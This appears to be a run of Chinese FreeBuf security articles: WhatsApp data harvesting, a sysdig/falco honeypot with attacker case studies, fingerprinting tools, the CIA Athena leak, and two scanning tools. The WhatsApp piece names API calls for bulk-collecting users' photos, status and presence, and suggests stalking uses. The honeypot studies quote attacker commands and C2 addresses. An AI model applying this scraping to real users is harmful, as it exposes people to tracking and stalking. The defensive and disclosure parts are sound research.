    那么当我们拿到这些信息之后,我们能做些什么呢?首先你要知道的是,任何人都可以创建出这样的一种数据库,我们不仅可以知道一个用户(手机号)何时上线下线,而且还可以知道某个用户头像所对应的手机号码。接下来我跟大家说一个最贴近实际的使用场景。面部识别技术想必大家都听说过吧?这项技术近几年已经发展得很不错了,你可以设想一下,当你走在街上看见了一个美女(或帅哥),然后偷偷拍了一张TA的照片,而现在你只需要将这个照片放到数据库中进行比对,你就可以拿到TA的手机号了。如果这是一个你所讨厌的人,那么你还可以利用TA的照片、手机号、以及其他的信息并通过面部识别系统来登录TA的某些在线服务。是不是很简单呢?这就是我对WhatsApp这个问题所产生的担忧。

    WhatsApp给出的回应

    我非常支持“负责任的漏洞披露”,所以当我发现了这个漏洞之后,我便立刻与Facebook(因为WhatsApp是Facebook旗下的产品)取得了联系。总而言之,他们已经意识到了这件事情(有可能收集到大量用户数据),但是他们并不认为这个问题与用户隐私有关。他们给出的回复如下:

    如何使用WhatsApp收集大量数据(附脚本)

    虽然他们的回复看起来也没什么问题,而且我自己甚至差点都被他们说服了。但是冷静下来仔细想想,总是感觉怪怪的…

    技术分析

    不建议非技术人员阅读这部分内容,因为你们可能会看不懂…

    Web端WhatsApp使用了一个文档中没有提到的API,你可以随意使用这个API,但你首先得自己弄清楚怎么去使用它。这里,JavaScript API在与WhatsApp服务器进行通信时使用了一个WebSocket。

    如何使用WhatsApp收集大量数据(附脚本)

    我在我的脚本中使用了三个API,第一个是Store.ProfilePicThumb.find(<phonenumber>),我用它来收集用户头像。你可以这样使用它:

    如何使用WhatsApp收集大量数据(附脚本)

    请注意,你必须在Web端WhatsApp所运行的同一标签中发送请求,你还需要在页面DOM中添加一个<img>元素。

    第二个API是Store.Wap.statusFind(<phone number>):它可以收集手机号所对应的文本信息:

    如何使用WhatsApp收集大量数据(附脚本)

    第三个API是Store.Presence.find(<phone number>),它可以用来请求用户的在线/离线状态:

    如何使用WhatsApp收集大量数据(附脚本)

    通过将这些API调用放到一个循环中,我们就可以不断向服务器请求信息了。

    脚本下载

    下载地址

    注:请不要将其用于非法目的!

    * 参考来源:lorankloeze, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

    构建一个高交互型的难以发现的蜜罐

    本文我将手把手的带大家来,构建一个高交互型的蜜罐。我们将会利用到两款开源工具sysdig和falco,来帮助我们快速构建这个系统。在正式开始之前,让我们对什么是高交互型蜜罐?以及sysdig和falco做个简单的了解!

    高交互型蜜罐

    一个高交互蜜罐是一个常规的计算机系统,如商用现货(commercial off-the-shelf ,COTS)计算机、路由器或交换机。该系统在网络中没有常规任务,也没有固定的活动用户,因此,除了运行系统上的正常守护进程或服务,它不应该有任何不正常的进程,也不产生任何网络流量。这些假设帮助检测攻击:每个与高交互蜜罐的交互都是可疑的,可以指向一个可能的恶意行为。因此,所有出入蜜罐的网络流量都被记录下来。此外,系统的活动也被记录下来备日后分析。

    相较于低交互型蜜罐,高交互型蜜罐由于运行着带有所有漏洞的真实的操作系统,没有使用仿真,攻击者可以与真实的系统和真实的服务交互。因此,允许我们捕获大量的威胁信息,同时也更难被攻击者发现。

    Sysdig和Falco

    sysdig是一款开源的工具,可以捕获并保存当前正在运行的Linux的系统状态及活动。因此这对于我们进行相关进程、网络和I/O活动的离线分析,提供了极大的便利。Sysdig falco是一个活动行为监视器,用于检测和发现应用程序中的异常活动。Falco可以检测和警告涉及使Linux系统调用的任何行为。借助于sysdig的核心解码和状态跟踪功能,可以通过使用特定的系统调用其参数,以及调用进程的属性来触发falco警报。

    将服务器转换为蜜罐

    作为一个合格的蜜罐服务器,都应该具有文件捕获和cifs-utils包,以挂载到保存我们sysdig抓取文件的远程samba共享上。

    手动安装

    Sysdig和falco可以部署在不同的Linux发行版中。以下是在不同发行版中的安装过程:

    1.RHEL,CentOS和Fedora下的安装:

    • 信任Dralex GPG密钥并配置yum存储库
    • 安装EPEL存储库(只有在发行版中不提供DKMS时,才需要使用)。你可以使用“yum list dkms”验证DKMS是否可用。
    • 安装内核头文件
    • 安装falco

    以下为命令执行过程(注意在root权限下运行)

    rpm --import https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public
    curl -s -o /etc/yum.repos.d/draios.repo http://download.draios.com/stable/rpm/draios.repo
    rpm -i http://mirror.us.leaseweb.net/epel/6/i386/epel-release-6-8.noarch.rpm
    yum -y install kernel-devel-$(uname -r)
    yum -y install falco psmisc

     2.Ubuntu,Debian下的安装

    基本步骤与上面一致,操作命令如下:

    curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add -
    curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/stable/deb/draios.list
    apt-get update
    apt-get -y install linux-headers-$(uname -r)
    apt-get -y install falco

     自动安装

    为了让大家能够在任何Linux发行版中快速部署sysdig和falco,我们特意开发了一个简易的chef cookbook,大家可以在GitHub上获取到它。

    当cookbook成功执行后,sysdig将开启连续捕获模式,以便持续捕获系统的运行状态和活动。同时falco也开始运行,将所有警报发送到syslog。这里我们需要确保文件捕获已经开启,并将syslog发送到我们设置的集中分析的ELK堆栈。此外,我们还需要检查 sysdig捕获文件目录,是否已经存在于samba共享。最后一步配置弱口令的root帐户,例如passw0rd和test123。

    要创建一个蜜罐,我们需要克隆一个合适的受害者机器,并在该系统上运行cookbook。Red Hat,Fedora,CentOS,Debian或Ubuntu操作系统都可以正常运行cookbook。注意!以下命令必须要以root身份运行。

    wget https://packages.chef.io/files/stable/chefdk/1.0.3/ubuntu/16.04/chefdk_1.0.3-1_amd64.deb
    dpkg -i chefdk_1.0.3-1_amd64.deb

    以上命令是在Debian操作系统中获取并安装Chefdk。对于其他架构包请参阅此链接

    现在让我们来安装git并克隆cookbook库。

    apt-get install git -y
    mkdir ~/cookbooks
    cd ~/cookbooks
    git clone https://github.com/mwrlabs/honeypot_recipes sysdig-falco
    cd sysdig-falco

    在运行cookbook之前,请确保当前我们系统的内核版本为最新版本。这样可以避免内核和kernel-devel包之间的版本不同问题。

    然后,我们执行以下命令来运行cookbook:

    chef-client --local-mode --runlist 'recipe[sysdig-falco]'

    当cookbook被成功执行后,我们可以看到一个名为mysysdig的文件,在/etc/init.d/目录下被创建。该init脚本将使用以下参数启动sysdig:

    sysdig -C 5000 -W 3 -w /usr/local/src/image.$(date +"%Y%m%d-%H%M%S").gz > /dev/null 2>&1 &

    Sysdig将以连续捕获模式启动(选项-W)。使用-C选项,指定捕获文件的大小。最后使用-w选项,将我们捕获的文件保存到/usr/loca/src/目录中。此外,我们还可以通过编辑/sysdig-falco-cookbook/templates/default/目录下cookbook中的mysysdig.erb文件来更改这些选项。

    Samba服务器

    除了蜜罐服务器,我们还需要有一个samba服务器,以便实时发送我们捕获的文件。以下是samba服务器的设置步骤。

    apt-get install samba -y
    smbpasswd -a ubuntu

    ubuntu是我们的用户名。创建一个目录,用于保存sysdig的捕获文件。

    mkdir -p /home/ubuntu/image

    然后编辑位于/etc/samba/目录下的smb.conf文件,并在该文件的末尾附加以下内容:

    [image]
    path = /home/ubuntu/image
    valid users = ubuntu
    read only = no

    最后,让我们来启动samba服务。

    /etc/init.d/samba restart

    现在我们可以来启动init脚本了,这将启动sysdig程序。但是在此之前,我们需要在/usr/local/src/目录下,挂载远程文件共享。

    apt-get install cif-utils -y
    mount.cifs -o user=ubuntu //IP_of_samba_server/image /usr/local/src/image/

    出现密码提示,输入我们之前设置的密码。

    现在我们运行init脚本,以确保falco正在运行,并通过init脚本启动sysdig。

    /etc/init.d/falco status
    /etc/init.d/mysysdig start

    监控攻击者

    我们尝试监测攻击者何时与我们的蜜罐进行互动。我们的蜜罐基本架构如下:

    • 作为蜜罐的几台Linux机器
    • 一台作为samba服务器的Ubuntu机器
    • 一台安装了ELK(Elasticsearch Logstash Kibana)堆栈的Ubuntu机器。

    选择ELK堆栈是因为它适合于消耗和分析,来自syslog的sysdig/falco输出的数据。

    我们在两个蜜罐上安装了文件捕获,以便将syslog和auth.log都发送到ELK堆栈。 ELK堆栈和文件捕获安装请参阅此链接

    为了检测攻击者,我们监控了Kibana中的身份验证日志(auth.log)。除了身份验证日志,我们正在监控falco警报。例如,下图显示的falco警报,说明了某人与我们的一个蜜罐进行了互动。

    构建一个高交互型的难以发现的蜜罐

    我们还可以通过观察sysdig捕获文件的大小,来初步判断是否有人与我们的蜜罐进行了互动。突然增加,则表明有人正在与我们的蜜罐进行互动,因为这些机器上本身的活动很少。

    实例探究

    为了验证我们的Sysdig/Falco蜜罐主机,对攻击者的监控和检测的有效性,我们打算将蜜罐放置在公网的云设备上。

    案例研究1

    我们将蜜罐暴露在互联网上,很快我们得到了第一个结果。攻击者试图猜解我们的root账户密码,如图。

    构建一个高交互型的难以发现的蜜罐

    从上图可以看出,攻击者的行为发生在17:25:00。在17:26:36,我们又捕获了一个不同的IP试图猜解root密码,如图。

    构建一个高交互型的难以发现的蜜罐

    我们确信虽然IP不同,但应该是同一人所为。最初,攻击者尝试爆破的IP地址为221.194.44.216,可能使用的是爆破脚本或肉鸡,而后密码被成功爆破后,地址又回到了原IP 103.42.31.138。以下两图显示了它们的相关联性:

    构建一个高交互型的难以发现的蜜罐

    构建一个高交互型的难以发现的蜜罐

    从上面的第一张图,我们可以看到,IP地址221.194.44.216有2522个生成的警报(右上角)。这些警报与爆破root密码的失败尝试相关联,如图。

    构建一个高交互型的难以发现的蜜罐

    攻击者获取到root密码后,又返回到了原IP 103.42.31.138重新访问目标机器。搜索与此特定IP地址相关联的不同警报,我们发现只有以下两个警报,如图所示。

    构建一个高交互型的难以发现的蜜罐

    falco警告显示,有人突破了我们的蜜罐,如下图所示。

    构建一个高交互型的难以发现的蜜罐

    我们快速下载sysdig捕获的文件,并运行以下凿子(凿子是用于分析sysdig捕获的事件流的小脚本)。

    sysdig -r image.20160721-1547320 -c list_login_shells

    我们使用另一个凿子,通过使用sysdig运行以下命令,基于loginshellid来查看攻击者运行的命令。

    sysdig -r image.20160721-1547320 -c spy_users proc.loginshellid=1743

    构建一个高交互型的难以发现的蜜罐

    从falco的警报,我们看到攻击者在/etc/cron.hourly目录中创建了一个名称为zbbpxdqalfe.sh的文件。sysdig能够帮助我们轻松的看到文件的内容,因为sysdig记录了每一个I/O操作。

    运行以下命令:

    sysdig -r image.20160721-1547320 -A -c echo_fds fd.filename=zbbpxdqalfe.sh

    我们得到以下输出信息。

    构建一个高交互型的难以发现的蜜罐

    搜索攻击者运行的命令“mv /usr/bin/wget /usr/bin/good ”,我们发现了一个关于尝试DDoS不同目标的ELF恶意软件二进制的分析。该分析讲述了一种多态恶意软件,在“/bin”或“/usr/bin”目录下创建了具有随机名称的不同可执行文件,我们可以从以下falco警报中看到。

    构建一个高交互型的难以发现的蜜罐

    更多内容可以参阅此链接

    案例研究2

    为了更进一步的研究,我们又为系统添加了三个账户,并分别使用了僵尸网络通常会尝试爆破的账户及密码,分别为user,user2,且用户名和密码相同。几个小时后,我们发现有人用用户名“user”进行了登录。十四分钟后,攻击者又再次登录,我们可以从auth.log到kibana看到。

    构建一个高交互型的难以发现的蜜罐

    我们检查了falco警报信息,但并没有发现与该事件相关的信息。我们从samba服务器下载了sysdig捕获文件,尝试看看发生了什么。首先,我们使用”spy user” 凿子来查看已执行的所有交互式命令。

    sysdig -r image.20160729-104943.gz0 -c spy_users

    构建一个高交互型的难以发现的蜜罐

     我们观察了攻击者执行的一些命令。为了更清楚地看到攻击者试图做什么,我们再次运行相同的凿子,但是这次我们使用proc.loginshellid过滤器字段来限制spy user凿子的输出。从上图可以看出,攻击者的登录名为2308,所以我们运行:

    sysdig -r image.20160729-104943.gz0 -c spy_users proc.loginshellid=2308

     并观察以下输出。

    构建一个高交互型的难以发现的蜜罐

    我们可以看到攻击者试图为不同的处理器架构运行一些二进制文件。他们试图运行的第一个二进制文件名为kaiten。在google中搜索kaiten二进制文件,我们可以看到,这个恶意软件二进制文件是用C编写的,并且已经在许多漏洞利用数据库站点中公开已久。主要目的是通过利用我们的unix和IoT设备,来实现对不同目标的DDoS。更多信息请点击链接

    分析二进制文件时,我们发现没有一个符号被剥离,这也使得我们更容易对其进行逆向工程。经过一些额外的研究,我们发现github上的一个脚本是用于设置该恶意二进制文件的。硬编码的加密密钥/通道密钥都没有被改变,这也说明攻击者刚刚下载并运行的就是github上的这个脚本。通过对Jackmy$arch二进制文件的逆向我们发现,这些二进制文件通过/usr/bin/sshd替换进程(proc名称)的第一个参数,在ps aux中隐藏其进程列表。

    样本名称 Bot 类 C2 IP
    Jackmy$arch QBot 212.24.102.44:666
    Kaiten STD-IRC Bot 212.24.102.44
    rbot STD-IRC Bot

    总结

    以上我们学习了,如何利用Sysdig和falco来快速的构建一个高交互型蜜罐。以及通过两个研究案例,证明了该蜜罐系统的有效性。从中我们也可以看出,对于一个企业或组织而言,建立一套良好的防御体系的重要性和不可或缺性。在安全方面的投入,作为企业而言永远不能吝啬!

    *参考来源:mwrinfosecurity,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)

    国产指纹库平台 – 天蝎指纹库

    0×00:前言

    信息收集为渗透测试环节一个非常重要的阶段,它关系到后序列策划攻击的成功性。快速收集目标服务信息则需要测试人员熟练运用指纹识别技术。

    0×01:指纹识别概念

    组件是网络空间最小单元,Web应用程序、数据库、中间件等都属于组件。指纹是组件上能标识对象类型的一段特征信息,用来在渗透测试信息收集环节中快速识别目标服务。互联网随时代的发展逐渐成熟,大批应用组件等产品在厂商的引导下走向互联网,这些应用程序因功能性、易用性被广大用户所采用。大部分应用组件存在足以说明当前服务名称和版本的特征,识别这些特征获取当前服务信息,从而进行一系列渗透测试工作。

    0×02:指纹识别方式

    网上描述指纹识别方式的文章很多,以下是我在实际测试中使用的几种方式

    1.特殊文件的md5值匹配

    2.请求响应主体内容或头信息的关键字匹配

    3.请求响应主体内容或头信息的正则匹配

    4.基于Url关键字识别

    5.基于TCP/IP请求协议识别服务指纹

    不同应用组件的指纹识别方式有所不同,例如Web应用程序和数据库。

    0×03:指纹识别详解

    相关厂商下的cms(内容管理系统)程序文件包含说明当前cms名称及版本的特征码,如Discuz官网下robots.txt文件

    国产指纹库平台 &#8211; 天蝎指纹库

    2.计算网站所使中间件或cms目录下静态文件的md5值,md5码可以唯一地代表原信息的特征。静态文件包括html、js、css、image等,建立在站点静态文件存在的情况下访问,如 Dedecms 官网下网站根目录URL“/img/buttom_logo.gif”图片文件。

    国产指纹库平台 &#8211; 天蝎指纹库

    3.请求访问外网端口映射设备,获取其响应头信息。根据相关规则,匹配特征字符。如请求天融信VPN设备外网映射URL获取响应头信息。 

    国产指纹库平台 &#8211; 天蝎指纹库

    4.TCP/IP协议簇通信交互,IP用来把逻辑地址分配到网络机器,TCP使用网络公认方式传送IP数据包。网络上的通信交互均通过TCP/TP协议簇进行,操作系统也必须实现该协议。操作系统根据不同数据包做出不同反应。如Nmap检测操作系统工具通过向目标主机发送协议数据包并分析其响应信息进行操作系统指纹识别工作。

    国产指纹库平台 &#8211; 天蝎指纹库

    5.Socket,又称为“套接字”,应用程序可以通过“套接字”向网络发出请求或者应答网络请求。Socket对TCP/TP协议进行封装,是一个通信链的句柄。扫描网络中数据存储服务,利用Socket编程接口,获取网络字符输出流,进行指纹识别工作。下面是我写的一个例子。

    国产指纹库平台 &#8211; 天蝎指纹库

    上图为Nmap服务识别文件中的一段mssql数据库的指纹信息,以下为mssql数据库各版本信息。

    国产指纹库平台 &#8211; 天蝎指纹库

    我在本地搭建了一个mssql2008数据库,使用java自带的socket api,socket请求192.168.1.107的mssql数据库服务,获取socket字符输出流。把hex字符转换为10进制字符,同时获取socket   字符输入流进行单字节转码,生成一串16进制字符(去除后4位字符)。这串16进制字符用以识别msssql数据库版本。下面是此例子的识别结果

    国产指纹库平台 &#8211; 天蝎指纹库

    国产指纹库平台 &#8211; 天蝎指纹库

    由图可见,socket发送网络请求,并识别出mssql数据库及版本信息。

    指纹识别的例子有很多,大部分都是以指纹识别方式中的几种为主,在此就不详细说明了。

    0×04:指纹识别工具

    像国外一些开源指纹识别工具一样,如whatweb、wapplyzer等,我们也开发了一款指纹识别工具“大禹”。“大禹”为一款c/s结构jar文件工具,只需本地安装java环境,设置相关参数就可以使用,具体参数详解请看下文

    下载地址:https://github.com/Ms0x0/Dayu

    开源工具使用说明:

    -u   一个域名或IP,如果输入更多域名或IP使用‘,’分隔;

    -r    读取本地域名或IP文件地址;

    -t    输入一个线程数量,默认线程为50;

    -p   设置一个请求端口,默认端口为80;

    -s   设置一个请求协议,默认请求协议为http.(http、https);

    -h   查看使用帮助;

    -o   输出识别结果到本地文件;

    -m  选择一个常规识别模式,默认使用模式为1;(1:快速识别一条指纹 2:获取命中率高的指纹 3:得到所有匹配的指纹)

    –http-request  设置一个自定义请求URL;

    –http-response  设置一个自定义关键字符。(支持正则表达式字符,注意字符大小写,自定义枚举指纹字符) 

    注:自定义识别模式参数为 –http-request /robots.txt –http-response discuz,不能和-m 常规识别模式一起使用。-u和-r参数不能同时使用。常规识别模式为3个选择项,模式1为匹配指纹库快速获取一条识别指纹;模式2为获取命中率高的指纹;(原理为假如一个url在识别的过程中同时命中2条dedecms指纹、1条discuz指纹、1条phpcms指纹,我们这时候优先选择识别为dedecms程序,这种情况很少出现,但是也作为考虑方面); 模式3为人工分析,获取所有匹配命中的指纹进行分析输出识别结果。详情请看github开源说明文档。

    国产指纹库平台 &#8211; 天蝎指纹库

    国产指纹库平台 &#8211; 天蝎指纹库

    上图为“大禹”指纹识别情况,识别速度、识别准确率视情况而定,指纹库以及网络请求都是指纹识别的要素。

    0×05:指纹识别平台

    以上闲扯了那么多,那么是时候开大招了,刚才也说了,市面上的指纹识别工具多如牛毛,那么为什么我们还要做呢?其实大家也看到了,指纹工具好写,而真正的难处,在于有没有一个好的指纹库。而我们的目的就是做出一个较为全面的指纹库,指纹库才是我们真正的目的,我们的目标是就是做出安全行业通用指纹平台。

    于是,有了下面的“Web”平台,这个平台就是一个开源的指纹库,包含操作系统,硬件设备,web,中间件,应用程序等指纹,因为是开源的,所以大家可以直接下载数据库,这样以后小伙伴写一些神器的时候,就可以直接导入了。

    作者:巴不得1个CMS有20个指纹,这样识别更精准了……

    “大禹”指纹识别工具因本地化、指纹库手动更新等原因给大家带来不便,因此我们线上推出了破晓团队-天蝎指纹识别平台,以“大禹”工具程序为基础,我们进行结构修改,完成在线指纹识别功能。

    平台地址:http://www.secbug.org:8080/     匿名用户:路人甲   密码:lurenjia

    指纹平台说明如下:

    国产指纹库平台 &#8211; 天蝎指纹库

    平台首页说明

    国产指纹库平台 &#8211; 天蝎指纹库

    查询使用ecshop程序的站点

    国产指纹库平台 &#8211; 天蝎指纹库

    平台部分指纹说明 

    数据库结构说明

    User(用户表):保存用户基本信息,包括用户昵称、用户密码、注册IP、当前状态等;

    Recognitiontype(识别类型表):保存平台识别方式信息,包括ID、识别方式名称;

    Programtype(程序类型表):保存程序类型信息,包括ID、程序类型名称;

    Manufacturer(厂商表):保存厂商相关信息,包括ID、厂商公司名称、厂商官网地址、用户表主键Id等;

    Fingerprint(指纹表):保存指纹相关信息,包括程序名称、识别url、识别内容、识别版本、厂商表主键ID、用户表主键ID等;

    Job(任务表):保存任务启动相关信息,包括阶段性进度、创建时间、当前状态等;

    Result(结果表):保存识别结果信息,包括识别路径、任务表主键Id、指纹表主键Id等。

    以上数据库结构详情请看github上的README文件。

    平台无需登录即可查看厂商列表以及使用查询功能,平台用户注册后,可上传或选择厂商添加自己的指纹,同时打开个人中心查看上传厂商或指纹状态信息,英雄榜实时排名,记录用户提交情况。奖励情况请查看平台说明。

    在线指纹识别平台和“大禹”本地识别工具各有各的优势,大家视自身情况为主。

    0×06:全文结言

    指纹识别离不开指纹库的强大,我们在追求指纹开源的同时,也希望大家能积极在我们平台上提交指纹。目前已有几位大牛在支持我们的想法,在此感谢@0nise  @borther @Catsay @北风飘然,当然还有不留名的路人甲人士。

    国产指纹库平台 &#8211; 天蝎指纹库

    希望更多的安全圈的朋友能够一起来完善,做出一个真正国内可用, 好用的,属于大家的平台,是我们的目标!

    *本文作者破晓,转载请注明来自FreeBuf.COM

    维基解密公开CIA Vault7系列中的间谍软件Athena文档

    维基解密公开CIA Vault7系列中的间谍软件Athena文档

    继上周五维基解密公开两款恶意软件框架 AfterMidnight 和 Assassin 后,5月19日再度在网站上公开 CIA Vault 7 系列中另一款软件——间谍软件 Athena的文

    Athena 间谍软件框架,能够感染所有版本的Windows设备(Windows XP 至 Windows 10),最后实现对目标计算机的远程指挥及恶意程序加载

    公开内容

    名为 Athena/Hera 的这款间谍软件的设计目标,是为全权地远程控制 Windows PC。这样,情报组织就可以在目标计算机上进行任意操作,如进行数据删除或下载恶意软件,窃取到数据后就可以发送到 CIA 服务器上。

    本次公开的文件中,包含了 Athena 的用户手册,技术概述及操作演示文档。

    主要:Athena 针对 Windows XP to Windows 10

    次要:Hera 针对 Windows 8 至 Windows 10

    技术概述中写道:

     Athena 系统能够满足 COG/NOD 对于远程指挥及载入的需求。表2展示的是在 Athena/Hera v1.0 中可用的系统组件。目标计算机的操作系统应该是 Windows XP Pro SP3 32-bit (仅 Athena 可以支持),Windows 7 32-bit/64-bit, Windows 8.1 32- bit/64-bit,Windows 2008 Enterprise Server,Windows 2012 Server 和 Windows 10 系统。监听端口使用了 Linux Ubuntu v14.04 及 Apache2.4 作为web服务器。

    维基解密公开CIA Vault7系列中的间谍软件Athena文档

    根据 Whistleblower 组织所说,CIA可以实时地对 Athena 进行配置文件修改,这样可针对行动进行定制化的调整。

    执行流程

    维基解密称:

    一旦安装在目标服务器上,恶意软件就会提供远程指挥功能(包括了配置部分和任务处理部分),然后内存会载入特定的恶意 payload ,即可在指定目录进行文件检索及文件上传。

    维基解密公开CIA Vault7系列中的间谍软件Athena文档

    从本次公开的文件可以看出,Athena 采用 Python 语言编写,于2015年八月完成开发(正巧是微软win10系统公布后一个月)。其次,Athena系统中还包含避免安全软件发现的功能,可以防范诸如卡巴斯基AV软件之类的安全防护软件。

    Athena 是由 CIA 与 Siege Technologies 合作完成的,其中参与合作的这家 Siege Technologies 是美国的信息安全公司。该企业与美国政府关系很好,时常提供信息战争中所会使用到的技术武器。

    但在本次的公开文件中,维基解密并没有提及 CIA 投入这批工具到实际使用中的时间。但我们也不难想象,情报组织是如何利用这款工具进行目标监控的。

    已公开文档清单

    以下是 CIA Vault 7 中已经公开的工具清单:

    • Year Zero:应对软硬件入侵的CIA Exploit

    • Weeping Angel :侵入智能电视的间谍软件

    • Dark Matter:iPhone和Mac的入侵 Exploit

    • Marble:混淆网络攻击的一款框架

    • Grasshopper:为Windows系统构建定制化恶意软件的平台

    •  Scribbles :文档水印预处理系统,用以追踪告密者及国外间谍的软件

    •  Archimedes CIA用来进行LAN网络中实施中间人攻击的工具

    Athena 文档查看及下载地址:Wikileaks

    *参考来源:securityaffairsthehackernews,Elaine编译,转载请注明FreeBuf.com

    快速构建站点地图工具 – PwnBack

    今天给大家介绍的是一款名叫PwnBack的Burp插件,它可以利用WaybackMachine来为我们生成一个网站的站点地图(sitemap)。

    快速构建站点地图工具 &#8211; PwnBack

    工具下载

    下载地址

    设置与要求

    PwnBack的运行需要PhantomJS支持【下载PhantomJS】。如果你想知道为什么需要PhantomJS的话,可以参考这个章节【传送门】。

    在使用插件之前,用户需要根据自己所使用的硬件来进行设置。

    # of PhantomJS WebDrivers

    定义Firefox(HeadlessBrowser)的打开数量,这里需要注意BurpSuite的内存设置。

    # of HTTP Response Parsers

    这个选项可以设置用来解析请求(由WebDriver生成)的解析器数量,请不要盲目增加这个数量。

    Start Year

    设置你所要遍历的网站历史深度。

    End Year

    设置查询终止时间。

    PhantomJS Location

    PhantomJS代码的存储位置。

    Output Folder

    设置用于保存输出结果的目录路径。

    Domain

    设置需要爬取的域名,例如example.com或example.org等等。

    CA Bundle

    设置PhantomJS所使用的CA证书,一般情况下我们不会用到这个选项。如果插件无法正常生成数据的话,请参考文章结尾的疑难问题解答部分。

    插件安装

    在BurpSuite主程序中打开Extender标签页,点击“Add”按钮,然后定位到这个库的jar文件。该工具当前所支持的BurpSuite版本为v1.7.21,目前还无法保证能够支持旧版本的BurpSuite。

    代码构建

    运行下列命令:

    git clone https://github.com/k4ch0w/PwnBack.git
    cd PwnBack
    ./gradlew fatJar

    许可证协议

    该项目使用MIT许可证,请参考LICENSE.md文件以获取更多详细内容。

    疑难问题解答

    如果你发现工具无法正常生成通信数据的话,请运行下面这条命令,并提供CA-Bundle的路径地址。注:一般情况下,只有使用了archive.org所提供的SSL证书或使用了JVM证书存储的特定主机才存在这种问题。

    curl --remote-name --time-cond cacert.pem https://curl.haxx.se/ca/cacert.pem

    * 参考来源:github, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

    AD ACL Scanner:一款扫描活动目录权限并自动生成报告的小工具

    今天给大家介绍的是一款基于PowerShell的GUI工具,这款免费工具可以帮助我们生成HTML或CSV格式的活动目录权限报告。

    AD ACL Scanner:一款扫描活动目录权限并自动生成报告的小工具

    工具下载

    下载地址一

    下载地址二

    工具介绍

    这款活动目录(Active Directory-AD)权限分析器的开发者为Robin Granberg(就职于微软公司),你可以从下面这张截图中看到,你根本不会注意到AD ACL Scanner是基于PowerShell开发出来的。不仅如此,你在使用它的过程中也不需要任何的PowerShell技术。但是,如果你想进行高级活动目录权限分析的话,还需要使用到PowerShell脚本,而此时就可能需要你自行编写PowerShell代码了。

    AD ACL Scanner:一款扫描活动目录权限并自动生成报告的小工具

    除了扫描活动目录权限之外,AD ACL Scanner还可以帮助我们设置目录权限。但是,如果你想查看活动目录权限结构,那么你通常还需要使用一款AD报告工具。而AD ACL Scanner的优势就在于,它可以非常方便地列出目标AD的权限结构,这样就可以避免用户去单独操作那些复杂的AD报告工具了。AD ACL Scanner的使用也非常简单,大多数情况下你只需要点击几下鼠标就可以生成AD权限报告了。

    工具运行

    你只需要右键点击程序图标,然后选择“以PowerShell运行”即可。如果你在Windows 10电脑上以这种方式运行的话,你无需将你的PowerShell执行策略修改为remotesigned或unrestricted。在Windows 8.1设备上,如果你在资源管理器中启动AD ACL Scanner,系统可能会要求你修改PowerShell执行策略。

    工具开始运行之后,你可以直接连接到你的活动目录域。接下来,你需要选择一个你想进行权限检测的活动目录对象。在AD ACL Scanner的高级设置中,你还可以设置扫描类型和扫描深度等参数。

    我发现,如果我们跳过AD对象的默认权限,那么不仅我们的扫描效率可以提升很多,而且我们还可以将分析的注意力放在管理员或其他人手动设置的权限上。

    AD ACL Scanner生成的报告有CSV和HTML两种格式,如果你选择的是HTML,那么当工具完成了目录扫描之后,将会自动弹出一个带有HTML表格的权限报告页面。

    AD ACL Scanner:一款扫描活动目录权限并自动生成报告的小工具

    当然了,你还可以通过对比CSV报告来查看目录权限的更改情况。首先,你需要选择一份之前保存的CSV文件,然后再对相应的活动目录对象再进行一次扫描。扫描完成之后,AD ACL Scanner将会生成一份新的HTML报告来显示目标活动目录的权限变更情况。

    AD ACL Scanner:一款扫描活动目录权限并自动生成报告的小工具

    除了上面这些功能之外,工具的过滤器同样非常实用,你可以通过设置参数来限制输出的权限,例如Allow或Deny权限等等。而且你还可以列出某些特定对象的特殊权限,或者某些特定用户或Group的特殊权限。

    总结

    在这篇文章中我没有介绍完AD ACL Scanner的所有功能,因为它的功能实在是太强大了,而且我相信,在绝大多数的测试场景中,它都可以给你提供你所需要的帮助。还有一个功能我在此不得不提,该工具还提供了一个PowerShell命令接口,你可以在PowerShell脚本中用它来从目标活动目录中获取数据。请注意,你是无法在PowerShell控制台中运行AD ACL Scanner的,虽然这款工具是基于PowerShell开发的,但你只能通过其GUI界面来与之进行交互。

     

    * 参考来源:4sysops, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM